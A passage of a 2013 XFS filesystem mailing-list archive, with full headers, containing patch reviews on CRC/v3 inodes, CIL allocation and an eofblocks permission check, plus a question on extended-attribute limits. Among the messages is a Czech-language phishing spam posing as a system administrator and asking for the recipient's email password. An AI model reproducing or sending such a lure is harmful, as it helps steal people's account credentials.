(Postfix) with ESMTP id 0030A304064; Tue, 23 Jul 2013 14:40:02 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id B02014266DC; Tue, 23 Jul 2013 16:40:02 -0500 (CDT) Date: Tue, 23 Jul 2013 16:40:02 -0500 From: Ben Myers To: Linda Walsh Cc: xfs-oss Subject: Re: RFE: the manpage claims no limits on size of file extended attributes; has this now true? Message-ID: <20130723214002.GM3111@sgi.com> References: <51EEF543.5020305@tlinx.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51EEF543.5020305@tlinx.org> User-Agent: Mutt/1.5.20 (2009-06-14) Hey Linda, On Tue, Jul 23, 2013 at 02:27:31PM -0700, Linda Walsh wrote: > Ok, lemme rephrase my questions... > > The man page lists maximums for values at 64K, and names at 255 > characters. This implies these are the only limits one need worry about > -- i.e. there is no limit on the maximum number of 255 byte names nor is > there a limit on the sum of the values of attributes. To the best of my knowledge: There is no limit on the maximum number of extended attribute names. There is no limit on the sum of the values of attributes. The limit is on the sum of the names and values of all of the attributes in a given inode. > Is it something like 2^60 bytes? Yeah, it's something big like that. > or some such limit that no one will ever hit? Could > I store alternate soundtracks for movies in attribute fields, or > alternate scenes for movies? Yep, you could do that. It's just that it would have to be done in 64k chunks. Some time ago there was some discussion of supporting multiple file streams which would not have the unfortunate 64k limitation, but nothing has come of it so far. Regards, Ben From mlsemon35@gmail.com Tue Jul 23 16:44:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E55107F3F for ; Tue, 23 Jul 2013 16:44:44 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9A1C18F8049 for ; Tue, 23 Jul 2013 14:44:44 -0700 (PDT) X-ASG-Debug-ID: 1374615882-04bdf0245b330020001-NocioJ Received: from mail-yh0-f49.google.com (mail-yh0-f49.google.com [209.85.213.49]) by cuda.sgi.com with ESMTP id C3ywhj5R0Rz2QkzM (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 23 Jul 2013 14:44:43 -0700 (PDT) X-Barracuda-Envelope-From: mlsemon35@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.213.49 X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.49] Received: by mail-yh0-f49.google.com with SMTP id f64so1144403yha.22 for ; Tue, 23 Jul 2013 14:44:42 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.49] X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.49] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:date:from:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type:content-transfer-encoding; bh=V/Gr3sNnmpE4L2JuWDoFGnDl1cX1+4lK9H7URKiAfzg=; b=RBqTnn5cNOhVGt1bZVXCZbBbRWJB8YBIIS4+fzXAGszjNcZQftk4ONmF6ZM4yUFdu8 9TzfMvSx1Sx7SW/kWkxv1yGPRUl55k76jPB/FYhTLuUuTpz5ulPiVLCt199g0T9eRdc7 +eGGTWyrCj+2o69Y8TPF3tmHpKpavjtsatBZ2hI5LAV94NMyn9UDx7fqw1/s+zDTd5dG 9mCNC9gEHf7Gcn01Vjo41xtQPcft2ATY2OfnLLLDQzKUst5Uu5++TZHfhtnYanvkZenA 2VLXlAsYffvCG0jK0MwLXKlr1tWUACv1Q99h+69MZm9RdwCCQV8jP+JPGBpa3WBxlJP8 UjFw== X-Received: by 10.236.228.165 with SMTP id f35mr130549yhq.152.1374615882729; Tue, 23 Jul 2013 14:44:42 -0700 (PDT) Received: from [192.168.0.129] (rrcs-97-78-60-146.se.biz.rr.com. [97.78.60.146]) by mx.google.com with ESMTPSA id s47sm48132217yhl.19.2013.07.23.14.44.41 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 23 Jul 2013 14:44:42 -0700 (PDT) Message-ID: <51EEF949.9020104@gmail.com> Date: Tue, 23 Jul 2013 17:44:41 -0400 From: "Michael L. Semon" User-Agent: Mozilla/5.0 (X11; Linux i686; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Mark Tinguely CC: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH 44/49] xfs: Reduce allocations during CIL insertion References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-45-git-send-email-david@fromorbit.com> <51EEF26F.5040001@sgi.com> X-ASG-Orig-Subj: Re: [PATCH 44/49] xfs: Reduce allocations during CIL insertion In-Reply-To: <51EEF26F.5040001@sgi.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-yh0-f49.google.com[209.85.213.49] X-Barracuda-Start-Time: 1374615883 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137258 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 07/23/2013 05:15 PM, Mark Tinguely wrote: > On 07/19/13 01:25, Dave Chinner wrote: >> From: Dave Chinner >> >> Now that we have the size of the object before the formatting pass >> is called, we can allocation the log vector and it's buffer in a >> single allocation rather than two separate allocations. >> >> Store the size of the allocated buffer in the log vector so that >> we potentially avoid allocation for future modifications of the >> object. >> >> While touching this code, remove the IOP_FORMAT definition. >> >> Signed-off-by: Dave Chinner > > Looks good. > > Reviewed-by: Mark Tinguely > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs I'd like to register a gentle "test this well" protest on this patch. While trying to figure out the origin of an unrelated lockdep, I tried to copy 3 kernel gits from one 2k non-CRC XFS filesystem to another one. With at least this patch used, the cp operation stops, leading to not-umountable, not-syncable filesystems. It might be while copying the 2nd git, or the 3rd git, while copying header files, or while copying those large *.pack files, but it will happen somewhere. A bisect of the issue ends on this patch, but its removal means that 45_49 and 46_49 cannot be applied without good knowledge of the code to be patched. This one's on me for not being able to get good information to Dave. If I can find a way to get trace-cmd to pipe over ssh or something like that, then maybe there's a chance to make a file that `trace-cmd report` can read. Previous attempts to save to different filesystems or save over NFS and CIFS have all failed. Will keep trying... For diagnosing this patch, is there an effective trace that is rather small? And would you need more than just the XFS events? Thanks! Michael From bpm@sgi.com Tue Jul 23 17:30:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 70BCB7F3F for ; Tue, 23 Jul 2013 17:30:11 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id F35FAAC006; Tue, 23 Jul 2013 15:30:07 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 716DE4266DC; Tue, 23 Jul 2013 17:30:07 -0500 (CDT) Date: Tue, 23 Jul 2013 17:30:07 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 07/48] libxfs: add version 3 inode support Message-ID: <20130723223007.GN3111@sgi.com> References: <1370564771-4929-1-git-send-email-david@fromorbit.com> <1370564771-4929-8-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1370564771-4929-8-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.20 (2009-06-14) Dave, On Fri, Jun 07, 2013 at 10:25:30AM +1000, Dave Chinner wrote: > From: Dave Chinner > > Signed-off-by: Dave Chinner > > Header from folded patch 'debug': > > xfs_quota: fix report command parsing > > > The report command line needs to be parsed as a whole not as > individual elements - report_f() is set up to do this correctly. > When treated as non-global command line, the report function is > called once for each command line arg, resulting in reports being > issued multiple times. > > Set the command to be a global command so that it is only called > once. > > Signed-off-by: Dave Chinner This header looks like it came from an unrelated patch. Looks like this patch mostly corresponds to commit 93848a999cf. There is also: * changes to printing i4_count, i8_count, and size fields for shortform directories * changes to start filling in v3 inode specific fields * make logprint stop asserting on v3 inodes * add support for creating v3 realtime bitmap, realtime summary, and root_dir inodes There are a couple of issues below: > diff --git a/libxfs/xfs_ialloc.c b/libxfs/xfs_ialloc.c > index feb4a4e..57fbae2 100644 > --- a/libxfs/xfs_ialloc.c > +++ b/libxfs/xfs_ialloc.c > @@ -146,6 +146,7 @@ xfs_ialloc_inode_init( > int version; > int i, j; > xfs_daddr_t d; > + xfs_ino_t ino = 0; > > /* > * Loop over the new block(s), filling in the inodes. > @@ -169,8 +170,18 @@ xfs_ialloc_inode_init( > * the new inode format, then use the new inode version. Otherwise > * use the old version so that old kernels will continue to be > * able to use the file system. > + * > + * For v3 inodes, we also need to write the inode number into the inode, > + * so calculate the first inode number of the chunk here as > + * XFS_OFFBNO_TO_AGINO() only works on filesystem block boundaries, not > + * cluster boundaries and so cannot be used in the cluster buffer loop > + * below. > */ > - if (xfs_sb_version_hasnlink(&mp->m_sb)) > + if (xfs_sb_version_hascrc(&mp->m_sb)) { > + version = 3; > + ino = XFS_AGINO_TO_INO(mp, agno, > + XFS_OFFBNO_TO_AGINO(mp, agbno, 0)); > + } else if (xfs_sb_version_hasnlink(&mp->m_sb)) > version = 2; > else > version = 1; > @@ -196,13 +207,21 @@ xfs_ialloc_inode_init( > xfs_buf_zero(fbuf, 0, ninodes << mp->m_sb.sb_inodelog); There is a section in commit 93848a999cf where the above line is modified to this: xfs_buf_zero(fbuf, 0, BBTOB(fbuf->b_length)); I suggest you pull that in here too. > diff --git a/libxfs/xfs_inode.c b/libxfs/xfs_inode.c > index f9f792c..d6513b9 100644 > --- a/libxfs/xfs_inode.c > +++ b/libxfs/xfs_inode.c > @@ -572,6 +572,17 @@ xfs_dinode_from_disk( > to->di_dmstate = be16_to_cpu(from->di_dmstate); > to->di_flags = be16_to_cpu(from->di_flags); > to->di_gen = be32_to_cpu(from->di_gen); > + > + if (to->di_version == 3) { > + to->di_changecount = be64_to_cpu(from->di_changecount); > + to->di_crtime.t_sec = be32_to_cpu(from->di_crtime.t_sec); > + to->di_crtime.t_nsec = be32_to_cpu(from->di_crtime.t_nsec); > + to->di_flags2 = be64_to_cpu(from->di_flags2); > + to->di_ino = be64_to_cpu(from->di_ino); > + to->di_lsn = be64_to_cpu(from->di_lsn); > + memcpy(to->di_pad2, from->di_pad2, sizeof(to->di_pad2)); > + platform_uuid_copy(&to->di_uuid, &from->di_uuid); You added a #define for uuid_copy in an earlier patch. I suggest you use it if you can. There are several occurances. Other than that this looks fine. -Ben From anaclauds@griegretroporto.com.br Tue Jul 23 19:36:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4BF687F3F for ; Tue, 23 Jul 2013 19:36:52 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2BEE28F8040 for ; Tue, 23 Jul 2013 17:36:48 -0700 (PDT) X-ASG-Debug-ID: 1374626202-04cbb0468f13286a0001-NocioJ Received: from wall.griegretroporto.com.br (griegwall.grieg.com.br [200.210.172.194]) by cuda.sgi.com with ESMTP id ml1hDT4iAPdrGDdG for ; Tue, 23 Jul 2013 17:36:43 -0700 (PDT) X-Barracuda-Envelope-From: anaclauds@griegretroporto.com.br X-Barracuda-Apparent-Source-IP: 200.210.172.194 Received: from [10.186.77.43] (unknown [41.203.67.55]) (Authenticated sender: anaclaudiass@griegretroporto.com.br) by wall.griegretroporto.com.br (Postfix) with ESMTPA id 603682AE5CE; Tue, 23 Jul 2013 19:10:27 -0300 (BRT) Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body Subject: =?utf-8?b?VsOhxb5lbsO9IHXFvml2YXRlbGk=?= To: Recipients X-ASG-Orig-Subj: =?utf-8?b?VsOhxb5lbsO9IHXFvml2YXRlbGk=?= From: ADMIN Date: Tue, 23 Jul 2013 23:14:25 +0100 Reply-To: upgrade1@dgoh.org Message-Id: <20130723221028.603682AE5CE@wall.griegretroporto.com.br> X-GRIEG-MailScanner-Information: Please contact the ISP for more information X-MailScanner-ID: 603682AE5CE.03FFD X-GRIEG-MailScanner: Found to be clean X-GRIEG-MailScanner-From: anaclauds@griegretroporto.com.br X-Barracuda-Connect: griegwall.grieg.com.br[200.210.172.194] X-Barracuda-Start-Time: 1374626202 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.00 X-Barracuda-Spam-Status: No, SCORE=2.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC3_MV0164, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137262 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name 2.00 BSF_SC3_MV0164 Custom rule MV0164 V=C3=A1=C5=BEen=C3=BD u=C5=BEivateli Va=C5=A1e e-mailov=C3=A1 adresa v=C3=ADce ne=C5=BE 2 GB, kter=C3=BD je vytv= oren n=C3=A1=C5=A1 webmaster, 2,30gigabajt V soucasn=C3=A9 dobe nemu=C5=BEe= te odes=C3=ADlat nebo prij=C3=ADmat nov=C3=A9 zpr=C3=A1vy, dokud nepotvrd= =C3=ADte do slo=C5=BEky Dorucen=C3=A1 po=C5=A1ta. Vyplnte formul=C3=A1r pro= overen=C3=AD va=C5=A1eho =C3=BActu. Vyplnte formul=C3=A1r n=C3=AD=C5=BEe a zadejte svou e-mailovou =C3=BActu: (1) E-mail: (2) N=C3=A1zev: (3) Heslo: (4) Potvrdit heslo: d=C3=ADky spr=C3=A1vce syst=C3=A9mu From david@fromorbit.com Tue Jul 23 22:40:15 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 044577F3F for ; Tue, 23 Jul 2013 22:40:15 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id E622F8F8035 for ; Tue, 23 Jul 2013 20:40:11 -0700 (PDT) X-ASG-Debug-ID: 1374637209-04cbb0468e1332ff0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id QBKy0hr4ERjoyA3w for ; Tue, 23 Jul 2013 20:40:10 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AkcXAOtL71F5LPxH/2dsb2JhbABbgwY1gnCqVAKOUIU5gRMXdIIkAQEEAScTHCMQCAMYCSUPBSUDIROICgUNuBUWjRWCTweEAAOXXpFOgVuBSyo Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail07.adl2.internode.on.net with ESMTP; 24 Jul 2013 13:10:08 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V1pvr-0000Iv-CL; Wed, 24 Jul 2013 13:40:07 +1000 Date: Wed, 24 Jul 2013 13:40:07 +1000 From: Dave Chinner To: Dwight Engen Cc: Brian Foster , xfs@oss.sgi.com Subject: Re: [PATCH v4 6/7] xfs: check that eofblocks ioctl caller can write matched inodes Message-ID: <20130724034007.GN19986@dastard> X-ASG-Orig-Subj: Re: [PATCH v4 6/7] xfs: check that eofblocks ioctl caller can write matched inodes References: <20130717114746.4e133042@oracle.com> <20130719060221.GX11674@dastard> <20130719121321.5d78beeb@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130719121321.5d78beeb@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1374637209 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137263 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Jul 19, 2013 at 12:13:21PM -0400, Dwight Engen wrote: > On Fri, 19 Jul 2013 16:02:21 +1000 > Dave Chinner wrote: > > > On Wed, Jul 17, 2013 at 11:47:46AM -0400, Dwight Engen wrote: > > > Signed-off-by: Dwight Engen > > > > What's the reason for this patch? > > Its trying to ensure we only allow the XFS_IOC_FREE_EOFBLOCKS > caller to affect the indoes they should be able to. > http://oss.sgi.com/archives/xfs/2013-06/msg00955.html has a bit more > background. This isn't really related to user namespaces per-se, so I > guess it should be a separate patch, but since I modified the > eofblocks structure I was trying to fix this as well. background needs to be in the commit message. > > > > --- > > > fs/xfs/xfs_fs.h | 1 + > > > fs/xfs/xfs_icache.c | 4 ++++ > > > fs/xfs/xfs_ioctl.c | 2 ++ > > > 3 files changed, 7 insertions(+) > > > > > > diff --git a/fs/xfs/xfs_fs.h b/fs/xfs/xfs_fs.h > > > index 7eb4a5e..aee4b12 100644 > > > --- a/fs/xfs/xfs_fs.h > > > +++ b/fs/xfs/xfs_fs.h > > > @@ -361,6 +361,7 @@ struct xfs_fs_eofblocks { > > > #define XFS_EOF_FLAGS_GID (1 << 2) /* filter by gid > > > */ #define XFS_EOF_FLAGS_PRID (1 << 3) /* filter by > > > project id */ #define XFS_EOF_FLAGS_MINFILESIZE (1 << 4) /* > > > filter by min file size */ +#define XFS_EOF_FLAGS_PERM_CHECK > > > (1 << 5) /* check can write inode */ #define > > > XFS_EOF_FLAGS_VALID \ (XFS_EOF_FLAGS_SYNC | \ > > > XFS_EOF_FLAGS_UID | \ > > > diff --git a/fs/xfs/xfs_icache.c b/fs/xfs/xfs_icache.c > > > index d873ab9e..728283a 100644 > > > --- a/fs/xfs/xfs_icache.c > > > +++ b/fs/xfs/xfs_icache.c > > > @@ -1247,6 +1247,10 @@ xfs_inode_free_eofblocks( > > > if (!xfs_inode_match_id(ip, eofb)) > > > return 0; > > > > > > + if (eofb->eof_flags & XFS_EOF_FLAGS_PERM_CHECK && > > > + inode_permission(VFS_I(ip), MAY_WRITE)) > > > + return 0; > > > > This assumes we are walking fully instantiated VFS inodes. That's > > not necessarily true - we may be walking inodes that have already > > been dropped from the VFS and are waiting for background reclaim to > > clean them up. I suspect that this doesn't need to be done - we > > normally stop background modification processes like this when we > > convert the filesystem to read-only. I suspect the eof-blocks scan > > code is missing that, and so it can potentially run on a RO > > filesystem. That needs fixing similar to the way we stop and start > > the periodic log work... > > So if there isn't a good way to check per-inode, maybe for now we > should just restrict the ioctl caller to be capable(CAP_SYS_ADMIN)? What, exactly, are you trying to check here? > > Also, gcc should throw warnings on that code (strange, it didn't > > here on gcc-4.7) as it needs more parenthesis. i.e > > I don't think it needs them (& is higher precedence than &&), but I can > add them for clarity if you like. I know what the precedence is, but code that looks like: (a & b && c & d && b & d && ..) needs time to verify that it is correct. Indeed, when I see the above, I think "was it supposed to be": (a && b && c && d && b & d && ..) Parenthesis remove any ambiguity in intention here - they clearly separate intended logic from typos. Same goes for | vs ||.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Jul 23 22:46:23 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1927B7F53 for ; Tue, 23 Jul 2013 22:46:23 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 07E618F8039 for ; Tue, 23 Jul 2013 20:46:19 -0700 (PDT) X-ASG-Debug-ID: 1374637578-04cbb046901333570001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id L8v1lkJQljYzYdWS for ; Tue, 23 Jul 2013 20:46:18 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqkIABdN71F5LPxH/2dsb2JhbABbgwaDJbkmhTmBExd0giQBAQQBJxMcIwULCAMYCSUPBSUDIROICgW4IhaPZAeEAAOXXpFOgVuBSyo Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail07.adl2.internode.on.net with ESMTP; 24 Jul 2013 13:16:17 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V1q1n-0000Jd-Oa; Wed, 24 Jul 2013 13:46:15 +1000 Date: Wed, 24 Jul 2013 13:46:15 +1000 From: Dave Chinner To: Dwight Engen Cc: xfs@oss.sgi.com Subject: Re: [PATCH v4 6/7] xfs: check that eofblocks ioctl caller can write matched inodes Message-ID: <20130724034615.GO19986@dastard> X-ASG-Orig-Subj: Re: [PATCH v4 6/7] xfs: check that eofblocks ioctl caller can write matched inodes References: <20130717114746.4e133042@oracle.com> <20130719060221.GX11674@dastard> <20130722120007.2a82cea5@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130722120007.2a82cea5@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1374637578 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137263 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Jul 22, 2013 at 12:00:07PM -0400, Dwight Engen wrote: > On Fri, 19 Jul 2013 16:02:21 +1000 > Dave Chinner wrote: > > [...] > > > diff --git a/fs/xfs/xfs_icache.c b/fs/xfs/xfs_icache.c > > > index d873ab9e..728283a 100644 > > > --- a/fs/xfs/xfs_icache.c > > > +++ b/fs/xfs/xfs_icache.c > > > @@ -1247,6 +1247,10 @@ xfs_inode_free_eofblocks( > > > if (!xfs_inode_match_id(ip, eofb)) > > > return 0; > > > > > > + if (eofb->eof_flags & XFS_EOF_FLAGS_PERM_CHECK && > > > + inode_permission(VFS_I(ip), MAY_WRITE)) > > > + return 0; > > > > This assumes we are walking fully instantiated VFS inodes. That's > > not necessarily true - we may be walking inodes that have already > > been dropped from the VFS and are waiting for background reclaim to > > Hi Dave, in looking at this a bit I don't see how they can be dropped > from the VFS since they are igrab()ed in the flow: > > xfs_icache_free_eofblocks > xfs_inode_ag_iterator_tag > xfs_inode_ag_walk > xfs_inode_ag_walk_grab > igrab Ah, right, I forgot that we have two different methods of walking that tree, and the one that xfs_icache_free_eofblocks() avoids inodes in reclaim. > and I don't see a way for xfs_inode_free_eofblocks() to be called other > than the ag_walk flow. > > If there is a way to get into xfs_inode_free_eofblocks where we can't > use VFS_I(ip) then it will be a problem for the new code in > xfs_inode_match_id() as well. We can always use VFS_I(ip) because the struct inode is embedded in the struct xfs_inode, so that's never an issue. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Jul 23 22:52:35 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D61AF7F3F for ; Tue, 23 Jul 2013 22:52:35 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id C08DF8F8035 for ; Tue, 23 Jul 2013 20:52:35 -0700 (PDT) X-ASG-Debug-ID: 1374637953-04cb6c2a47108be20001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id GBzjO21DziLySzFn for ; Tue, 23 Jul 2013 20:52:34 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AkcXABtO71F5LPxH/2dsb2JhbABbgwY1gnCqVAKOUIU5gRMXdIIkAQEEATocIwULCAMYCSUPBSUDIROICgUNuBQWjRWCTweEAAOXXpFOgyYq Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail07.adl2.internode.on.net with ESMTP; 24 Jul 2013 13:22:33 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V1q7p-0000KE-PC; Wed, 24 Jul 2013 13:52:29 +1000 Date: Wed, 24 Jul 2013 13:52:29 +1000 From: Dave Chinner To: "Michael L. Semon" Cc: xfs@oss.sgi.com Subject: Re: [PATCH 00/49] xfsprogs: patches for crc-dev branch Message-ID: <20130724035229.GP19986@dastard> X-ASG-Orig-Subj: Re: [PATCH 00/49] xfsprogs: patches for crc-dev branch References: <1374216324-8781-1-git-send-email-david@fromorbit.com> <51EB80DB.80602@gmail.com> <20130722233240.GC19986@dastard> <51EDFA5A.7070402@gmail.com> <20130723044450.GG19986@dastard> <51EEEF61.40000@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51EEEF61.40000@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1374637953 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137263 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header On Tue, Jul 23, 2013 at 05:02:25PM -0400, Michael L. Semon wrote: > On 07/23/2013 12:44 AM, Dave Chinner wrote: > > On Mon, Jul 22, 2013 at 11:36:58PM -0400, Michael L. Semon wrote: > >> On 07/22/2013 07:32 PM, Dave Chinner wrote: > >>> On Sun, Jul 21, 2013 at 02:34:03AM -0400, Michael L. Semon wrote: > >>>> On 07/19/2013 02:44 AM, Dave Chinner wrote: > >>>> > >>>>> Comments, thoughts, flames? > >>>> > >>>> I was hoping that I could use this 3.12 patchset with a 3.11.0-rc > >>>> kernel, but the xfstests look like a disaster by 